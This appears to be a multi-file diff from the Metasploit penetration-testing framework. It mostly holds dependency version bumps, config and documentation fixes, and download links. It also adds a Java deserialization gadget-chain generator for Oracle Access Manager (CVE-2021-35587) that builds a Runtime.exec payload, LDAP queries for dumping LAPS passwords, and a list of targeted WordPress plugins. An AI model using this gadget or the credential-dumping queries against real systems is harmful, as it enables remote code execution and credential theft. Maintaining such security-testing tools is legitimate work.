net-imap, 0.5.6, "ruby, Simplified BSD"
|
||||
net-ldap, 0.19.0, MIT
|
||||
net-protocol, 0.2.2, "ruby, Simplified BSD"
|
||||
net-sftp, 4.0.0, MIT
|
||||
net-smtp, 0.5.0, "ruby, Simplified BSD"
|
||||
net-smtp, 0.5.1, "ruby, Simplified BSD"
|
||||
net-ssh, 7.3.0, MIT
|
||||
network_interface, 0.0.4, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.7.4, "MIT, Simplified BSD"
|
||||
nokogiri, 1.18.2, MIT
|
||||
nokogiri, 1.18.3, MIT
|
||||
nori, 2.7.1, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
@@ -123,71 +126,76 @@ openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
ostruct, 0.6.1, "ruby, Simplified BSD"
|
||||
packetfu, 2.0.0, "New BSD"
|
||||
parallel, 1.26.3, MIT
|
||||
parser, 3.3.5.0, MIT
|
||||
parallel, 1.27.0, MIT
|
||||
parser, 3.3.8.0, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.3, LGPL-2.1
|
||||
pdf-reader, 2.12.0, MIT
|
||||
pdf-reader, 2.14.1, MIT
|
||||
pg, 1.5.9, "Simplified BSD"
|
||||
prism, 1.4.0, MIT
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 6.0.1, MIT
|
||||
puma, 6.4.3, "New BSD"
|
||||
puma, 6.6.0, "New BSD"
|
||||
racc, 1.8.1, "ruby, Simplified BSD"
|
||||
rack, 2.2.10, MIT
|
||||
rack, 2.2.13, MIT
|
||||
rack-protection, 3.2.0, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rack-session, 1.0.2, MIT
|
||||
rack-test, 2.2.0, MIT
|
||||
rackup, 1.0.1, MIT
|
||||
rails-dom-testing, 2.2.0, MIT
|
||||
rails-html-sanitizer, 1.6.0, MIT
|
||||
railties, 7.0.8.6, MIT
|
||||
rails-html-sanitizer, 1.6.2, MIT
|
||||
railties, 7.1.5.1, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.2.1, MIT
|
||||
rasn1, 0.13.0, MIT
|
||||
rasn1, 0.14.0, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.11, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.9.2, MIT
|
||||
reline, 0.5.10, ruby
|
||||
recog, 3.1.14, unknown
|
||||
redcarpet, 3.6.1, MIT
|
||||
regexp_parser, 2.10.0, MIT
|
||||
reline, 0.6.0, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.16, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
rex-core, 0.1.32, "New BSD"
|
||||
rex-encoder, 0.1.7, "New BSD"
|
||||
rex-exploitation, 0.1.40, "New BSD"
|
||||
rex-java, 0.1.7, "New BSD"
|
||||
rex-mime, 0.1.8, "New BSD"
|
||||
rex-nop, 0.1.3, "New BSD"
|
||||
rex-ole, 0.1.8, "New BSD"
|
||||
rex-powershell, 0.1.100, "New BSD"
|
||||
rex-random_identifier, 0.1.13, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.58, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.59, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.3.9, "Simplified BSD"
|
||||
rex-arch, 0.1.18, "New BSD"
|
||||
rex-bin_tools, 0.1.10, "New BSD"
|
||||
rex-core, 0.1.34, "New BSD"
|
||||
rex-encoder, 0.1.8, "New BSD"
|
||||
rex-exploitation, 0.1.41, "New BSD"
|
||||
rex-java, 0.1.8, "New BSD"
|
||||
rex-mime, 0.1.11, "New BSD"
|
||||
rex-nop, 0.1.4, "New BSD"
|
||||
rex-ole, 0.1.9, "New BSD"
|
||||
rex-powershell, 0.1.101, "New BSD"
|
||||
rex-random_identifier, 0.1.16, "New BSD"
|
||||
rex-registry, 0.1.6, "New BSD"
|
||||
rex-rop_builder, 0.1.6, "New BSD"
|
||||
rex-socket, 0.1.62, "New BSD"
|
||||
rex-sslscan, 0.1.13, "New BSD"
|
||||
rex-struct2, 0.1.5, "New BSD"
|
||||
rex-text, 0.2.61, "New BSD"
|
||||
rex-zip, 0.1.6, "New BSD"
|
||||
rexml, 3.4.1, "Simplified BSD"
|
||||
rinda, 0.2.0, "ruby, Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.2, MIT
|
||||
rspec-core, 3.13.3, MIT
|
||||
rspec-expectations, 3.13.3, MIT
|
||||
rspec-mocks, 3.13.2, MIT
|
||||
rspec-rails, 7.0.1, MIT
|
||||
rspec-rails, 7.1.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.13.1, MIT
|
||||
rubocop, 1.67.0, MIT
|
||||
rubocop-ast, 1.33.0, MIT
|
||||
rspec-support, 3.13.2, MIT
|
||||
rubocop, 1.75.7, MIT
|
||||
rubocop-ast, 1.44.1, MIT
|
||||
ruby-macho, 4.1.0, MIT
|
||||
ruby-mysql, 4.1.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-mysql, 4.2.0, MIT
|
||||
ruby-prof, 1.7.1, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.13, "New BSD"
|
||||
ruby_smb, 3.3.15, "New BSD"
|
||||
rubyntlm, 0.6.5, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
rubyzip, 2.4.1, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
securerandom, 0.4.1, "ruby, Simplified BSD"
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.13.1, MIT
|
||||
simpleidn, 0.2.3, MIT
|
||||
@@ -196,22 +204,21 @@ sqlite3, 1.7.3, "New BSD"
|
||||
sshkey, 3.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
systemu, 2.6.5, ruby
|
||||
test-prof, 1.4.2, MIT
|
||||
test-prof, 1.4.4, MIT
|
||||
thin, 1.8.2, "GPL-2.0+, ruby"
|
||||
thor, 1.3.2, MIT
|
||||
tilt, 2.4.0, MIT
|
||||
tilt, 2.6.0, MIT
|
||||
timecop, 0.9.10, MIT
|
||||
timeout, 0.4.1, "ruby, Simplified BSD"
|
||||
timeout, 0.4.3, "ruby, Simplified BSD"
|
||||
ttfunk, 1.8.0, "Nonstandard, GPL-2.0-only, GPL-3.0-only"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2024.2, MIT
|
||||
unicode-display_width, 2.6.0, MIT
|
||||
tzinfo-data, 1.2025.1, MIT
|
||||
unicode-display_width, 3.1.4, MIT
|
||||
unicode-emoji, 4.0.4, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
uuid, 2.3.9, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webrick, 1.8.2, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.6, "Apache 2.0"
|
||||
webrick, 1.9.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.7, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.5, BSD
|
||||
@@ -219,4 +226,4 @@ winrm, 2.3.9, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.37, MIT
|
||||
zeitwerk, 2.6.18, MIT
|
||||
zeitwerk, 2.7.2, MIT
|
||||
|
||||
+2
-11
@@ -41,18 +41,9 @@ module Metasploit
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
config.autoloader = :zeitwerk
|
||||
|
||||
case Rails.env
|
||||
when "development"
|
||||
config.eager_load = false
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = false
|
||||
end
|
||||
config.load_defaults 7.1
|
||||
|
||||
if ActiveRecord.respond_to?(:legacy_connection_handling=)
|
||||
ActiveRecord.legacy_connection_handling = false
|
||||
end
|
||||
config.eager_load = false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -249,7 +249,7 @@ queries:
|
||||
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
||||
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
||||
- action: ENUM_LAPS_PASSWORDS
|
||||
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
|
||||
description: 'Dump info about computers that have LAPS v1 enabled, and passwords for them if available.'
|
||||
filter: '(ms-MCS-AdmPwd=*)'
|
||||
attributes:
|
||||
- cn
|
||||
@@ -387,3 +387,12 @@ queries:
|
||||
references:
|
||||
- https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
|
||||
- https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
|
||||
- action: ENUM_SCCM_MANAGEMENT_POINTS
|
||||
description: 'Find all registered SCCM/MECM management points'
|
||||
filter: '(objectclass=mssmsmanagementpoint)'
|
||||
attributes:
|
||||
- cn
|
||||
- dNSHostname
|
||||
- msSMSSiteCode
|
||||
references:
|
||||
- https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/RECON/RECON-1/recon-1_description.md
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
// This gadget chain targets Oracle Access Manager on WebLogic (CVE-2021-35587) and is based upon:
|
||||
// * Y4er: https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
|
||||
// * Jang: https://twitter.com/testanull/status/1502114473989279744
|
||||
//
|
||||
// Tested against Oracle Access Manager version:
|
||||
// * 12.2.1.4.0
|
||||
// * 12.2.1.3.0
|
||||
//
|
||||
// Note: The classes used in this chain do not have a serialVersionUID explicitly defined, so the JVM will compute one.
|
||||
// This has the effect that if the class changes between versions, the computed serialVersionUID will differ between
|
||||
// versions. As such we need to account for this, and generate the gadget for the different versions.
|
||||
//
|
||||
// We collect these JAR files from the OAM install (actually part of the WebLogic application server).
|
||||
// $ sha1sum **/*
|
||||
// 6de9309c3bcbc0478da85a8f60325c4ee5419cf1 12.2.1.3.0/coherence.jar
|
||||
// d58cf115884e1ae76fb0e7b8e022f7447af63a66 12.2.1.3.0/com.bea.core.weblogic.rmi.client.jar
|
||||
// ba45c235668885dff671eff34ee1b6ca57aefa6a 12.2.1.4.0/coherence.jar
|
||||
// d3f2e0778774123ae19654ad0960600bddf79389 12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar
|
||||
//
|
||||
// We can see the serialVersionUID changes for the classes in coherence.jar, for example:
|
||||
// $ serialver -classpath 12.2.1.3.0/coherence.jar com.tangosol.util.comparator.ExtractorComparator
|
||||
// com.tangosol.util.comparator.ExtractorComparator: private static final long serialVersionUID = -339238653537079588L;
|
||||
// $ serialver -classpath 12.2.1.4.0/coherence.jar com.tangosol.util.comparator.ExtractorComparator
|
||||
// com.tangosol.util.comparator.ExtractorComparator: private static final long serialVersionUID = -453812047863165663L;
|
||||
//
|
||||
// We can see the serialVersionUID does not change for BasicServiceContext:
|
||||
// $ serialver -classpath 12.2.1.3.0/com.bea.core.weblogic.rmi.client.jar weblogic.rmi.provider.BasicServiceContext
|
||||
// weblogic.rmi.provider.BasicServiceContext: private static final long serialVersionUID = -1989708991725000930L;
|
||||
// $ serialver -classpath 12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar weblogic.rmi.provider.BasicServiceContext
|
||||
// weblogic.rmi.provider.BasicServiceContext: private static final long serialVersionUID = -1989708991725000930L;
|
||||
//
|
||||
// Compile with:
|
||||
// $ javac -cp 12.2.1.4.0/coherence.jar:12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar gadget.java
|
||||
//
|
||||
// Run with:
|
||||
// $ java --add-opens java.base/java.util=ALL-UNNAMED -cp 12.2.1.4.0/coherence.jar:12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar:. gadget
|
||||
//
|
||||
// Save the output for that version:
|
||||
// $ mv gadget.bin gadget_12.2.1.4.0.bin
|
||||
//
|
||||
// We then get the following gadget chains:
|
||||
// $ sha1sum *.bin
|
||||
// 1326ef6fe634e2e2bb83705507d766efbfcfc141 gadget_12.2.1.3.0.bin
|
||||
// fad1e1e243dd9aca09658893737341008ef27096 gadget_12.2.1.4.0.bin
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
// coherence.jar
|
||||
import com.tangosol.util.ValueExtractor;
|
||||
import com.tangosol.util.comparator.ExtractorComparator;
|
||||
import com.tangosol.util.extractor.ChainedExtractor;
|
||||
import com.tangosol.util.extractor.ReflectionExtractor;
|
||||
|
||||
// com.bea.core.weblogic.rmi.client.jar
|
||||
import weblogic.rmi.provider.BasicServiceContext;
|
||||
|
||||
public class gadget {
|
||||
|
||||
public static void main(String[] args) throws Exception
|
||||
{
|
||||
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
|
||||
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
|
||||
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"EXEC_ARG0", "EXEC_ARG1", "EXEC_ARG2"}});
|
||||
|
||||
ValueExtractor[] valueExtractors = new ValueExtractor[]{
|
||||
reflectionExtractor1,
|
||||
reflectionExtractor2,
|
||||
reflectionExtractor3,
|
||||
};
|
||||
|
||||
Class clazz = ChainedExtractor.class.getSuperclass();
|
||||
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
|
||||
m_aExtractor.setAccessible(true);
|
||||
|
||||
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
|
||||
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
|
||||
reflectionExtractor
|
||||
};
|
||||
|
||||
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
|
||||
|
||||
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
m_aExtractor.set(chainedExtractor1, valueExtractors);
|
||||
|
||||
Field field = PriorityQueue.class.getDeclaredField("queue");
|
||||
field.setAccessible(true);
|
||||
|
||||
Object[] queueArray = (Object[]) field.get(queue);
|
||||
|
||||
queueArray[0] = Runtime.class;
|
||||
queueArray[1] = "1";
|
||||
|
||||
BasicServiceContext bsc = new BasicServiceContext(1, queue, false);
|
||||
|
||||
byte[] bytes = serialize(bsc);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (byte b : bytes) {
|
||||
sb.append(String.format("%02x", b));
|
||||
}
|
||||
System.out.println(sb.toString());
|
||||
|
||||
FileOutputStream fos = new FileOutputStream("gadget.bin");
|
||||
ObjectOutputStream os = new ObjectOutputStream(fos);
|
||||
os.writeObject(bsc);
|
||||
os.close();
|
||||
|
||||
//deserialize(bytes);
|
||||
}
|
||||
|
||||
public static byte[] serialize(final Object obj) throws IOException {
|
||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
serialize(obj, out);
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static void serialize(final Object obj, final OutputStream out) throws IOException {
|
||||
final ObjectOutputStream objOut = new ObjectOutputStream(out);
|
||||
objOut.writeObject(obj);
|
||||
objOut.flush();
|
||||
objOut.close();
|
||||
}
|
||||
|
||||
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
|
||||
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
|
||||
return deserialize(in);
|
||||
}
|
||||
|
||||
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
|
||||
final ObjectInputStream objIn = new ObjectInputStream(in);
|
||||
return objIn.readObject();
|
||||
}
|
||||
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -185,19 +185,19 @@ class SnifferSMB < BaseProtocolParser
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_os",
|
||||
:data => s[:peer_os]
|
||||
:data => { :peer_os => s[:peer_os] }
|
||||
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_lm",
|
||||
:data => s[:peer_lm]
|
||||
:data => { :peer_lm => s[:peer_lm] }
|
||||
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_domain",
|
||||
:data => s[:domain]
|
||||
:data => { :domain => s[:domain] }
|
||||
) if (s[:domain] and s[:domain].strip.length > 0)
|
||||
|
||||
end
|
||||
|
||||
BIN
Binary file not shown.
Binary file not shown.
+42
@@ -0,0 +1,42 @@
|
||||
; build with:
|
||||
; nasm elf_x64_template.s -f bin -o template_x64_linux.bin
|
||||
|
||||
BITS 64
|
||||
|
||||
org 0x0000000000400000
|
||||
|
||||
ehdr: ; Elf64_Ehdr
|
||||
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
|
||||
db 0, 0, 0, 0, 0, 0, 0, 0 ;
|
||||
dw 2 ; e_type = ET_EXEC for an executable
|
||||
dw 0x3e ; e_machine
|
||||
dd 1 ; e_version
|
||||
dq _start ; e_entry
|
||||
dq phdr - $$ ; e_phoff
|
||||
dq 0 ; e_shoff
|
||||
dd 0 ; e_flags
|
||||
dw ehdrsize ; e_ehsize
|
||||
dw phdrsize ; e_phentsize
|
||||
dw 1 ; e_phnum
|
||||
dw 0 ; e_shentsize
|
||||
dw 0 ; e_shnum
|
||||
dw 0 ; e_shstrndx
|
||||
|
||||
ehdrsize equ $ - ehdr
|
||||
|
||||
phdr: ; Elf64_Phdr
|
||||
dd 1 ; p_type = PT_LOAD
|
||||
dd 7 ; p_flags = rwx
|
||||
dq 0 ; p_offset
|
||||
dq $$ ; p_vaddr
|
||||
dq $$ ; p_paddr
|
||||
dq 0x4141414141414141 ; p_filesz
|
||||
dq 0x4242424242424242 ; p_memsz
|
||||
dq 0x1000 ; p_align
|
||||
|
||||
phdrsize equ $ - phdr
|
||||
|
||||
global _start
|
||||
|
||||
_start:
|
||||
|
||||
@@ -23,3 +23,4 @@ W32TIME_ALT
|
||||
wkssvc
|
||||
PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
|
||||
db2remotecmd
|
||||
CxUIUSvcChannel
|
||||
|
||||
@@ -8,6 +8,7 @@ bulletproof-security
|
||||
catch-themes-demo-import
|
||||
chopslider
|
||||
custom-registration-form-builder-with-submission-manager
|
||||
depicter
|
||||
download-manager
|
||||
drag-and-drop-multiple-file-upload-contact-form-7
|
||||
dukapress
|
||||
@@ -26,7 +27,6 @@ learnpress
|
||||
loginizer
|
||||
masterstudy-lms-learning-management-system
|
||||
modern-events-calendar-lite
|
||||
modern-events-calendar-lite
|
||||
nextgen-gallery
|
||||
ninja-forms
|
||||
paid-memberships-pro
|
||||
@@ -45,7 +45,10 @@ simple-file-list
|
||||
slideshow-gallery
|
||||
sp-client-document-manager
|
||||
subscribe-to-comments
|
||||
suretriggers
|
||||
ultimate-member
|
||||
user-registration
|
||||
user-registration-pro
|
||||
website-contact-form-with-file-upload
|
||||
woocommerce-abandoned-cart
|
||||
woocommerce-payments
|
||||
@@ -53,18 +56,17 @@ wordpress-mobile-pack
|
||||
wordpress-popular-posts
|
||||
work-the-flow-file-upload
|
||||
wp-automatic
|
||||
wpdiscuz
|
||||
wp-easycart
|
||||
wp-fastest-cache
|
||||
wp-file-manager
|
||||
wp-gdpr-compliance
|
||||
wp-mobile-detector
|
||||
wp-mobile-edition
|
||||
wp-symposium
|
||||
wp-symposium
|
||||
wp-time-capsule
|
||||
wp-ultimate-csv-importer
|
||||
wpdiscuz
|
||||
wps-hide-login
|
||||
wpshop
|
||||
wp-symposium
|
||||
wp-time-capsule
|
||||
wptouch
|
||||
wp-ultimate-csv-importer
|
||||
wysija-newsletters
|
||||
|
||||
+31888
-51543
File diff suppressed because it is too large
Load Diff
+2
-1
@@ -10,7 +10,7 @@
|
||||
#
|
||||
# It's strongly recommended that you check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
ActiveRecord::Schema[7.1].define(version: 2025_02_04_172657) do
|
||||
# These are extensions that must be enabled in order to support this database
|
||||
enable_extension "plpgsql"
|
||||
|
||||
@@ -314,6 +314,7 @@ ActiveRecord::Schema[7.0].define(version: 2022_12_09_005658) do
|
||||
t.datetime "created_at", precision: nil, null: false
|
||||
t.datetime "updated_at", precision: nil, null: false
|
||||
t.string "jtr_format"
|
||||
t.jsonb "metadata", default: {}, null: false
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_pkcs12", unique: true, where: "((type)::text = 'Metasploit::Credential::Pkcs12'::text)"
|
||||
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
|
||||
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT (((type)::text = 'Metasploit::Credential::SSHKey'::text) OR ((type)::text = 'Metasploit::Credential::Pkcs12'::text)))"
|
||||
|
||||
+4
-4
@@ -17,15 +17,15 @@ GEM
|
||||
byebug (11.1.3)
|
||||
coderay (1.1.3)
|
||||
colorator (1.1.0)
|
||||
concurrent-ruby (1.3.4)
|
||||
concurrent-ruby (1.3.5)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
eventmachine (1.2.7)
|
||||
ffi (1.17.0)
|
||||
ffi (1.17.1)
|
||||
forwardable-extended (2.6.0)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.14.6)
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (4.3.4)
|
||||
addressable (~> 2.4)
|
||||
@@ -76,7 +76,7 @@ GEM
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.4.0)
|
||||
rexml (3.4.1)
|
||||
rouge (4.5.1)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
|
||||
@@ -85,7 +85,7 @@ Additionally any information about caveats, scenarios you have tested, custom op
|
||||
should also go into this file.
|
||||
|
||||
## Checking Documentation Syntax
|
||||
Once you have written the documentation, you then want to run `toos/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
|
||||
Once you have written the documentation, you then want to run `tools/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
|
||||
errors with your documentation file, which you will want to fix before submitting your PR. Notice however that if you get a warning about long lines,
|
||||
these may be okay to ignore depending on the context. A good example is if a line is long merely because of a URL. Such warnings can be
|
||||
safely ignored.
|
||||
|
||||
@@ -10,28 +10,38 @@ Updates are released about once every other week for Windows and Linux.
|
||||
|
||||
The pgp signatures below can be verified with the following [public key](https://pgp.mit.edu/pks/lookup?op=get&search=0xCDFB5FA52007B954)
|
||||
|
||||
|Download Link|File Type|SHA1|PGP|
|
||||
|-|-|-|-|
|
||||
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.2-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.1-2023071701-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.22.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.22.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.22.0-2023050901-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.1-2023011701-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.19.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-linux-x64-installer.run.asc)|
|
||||
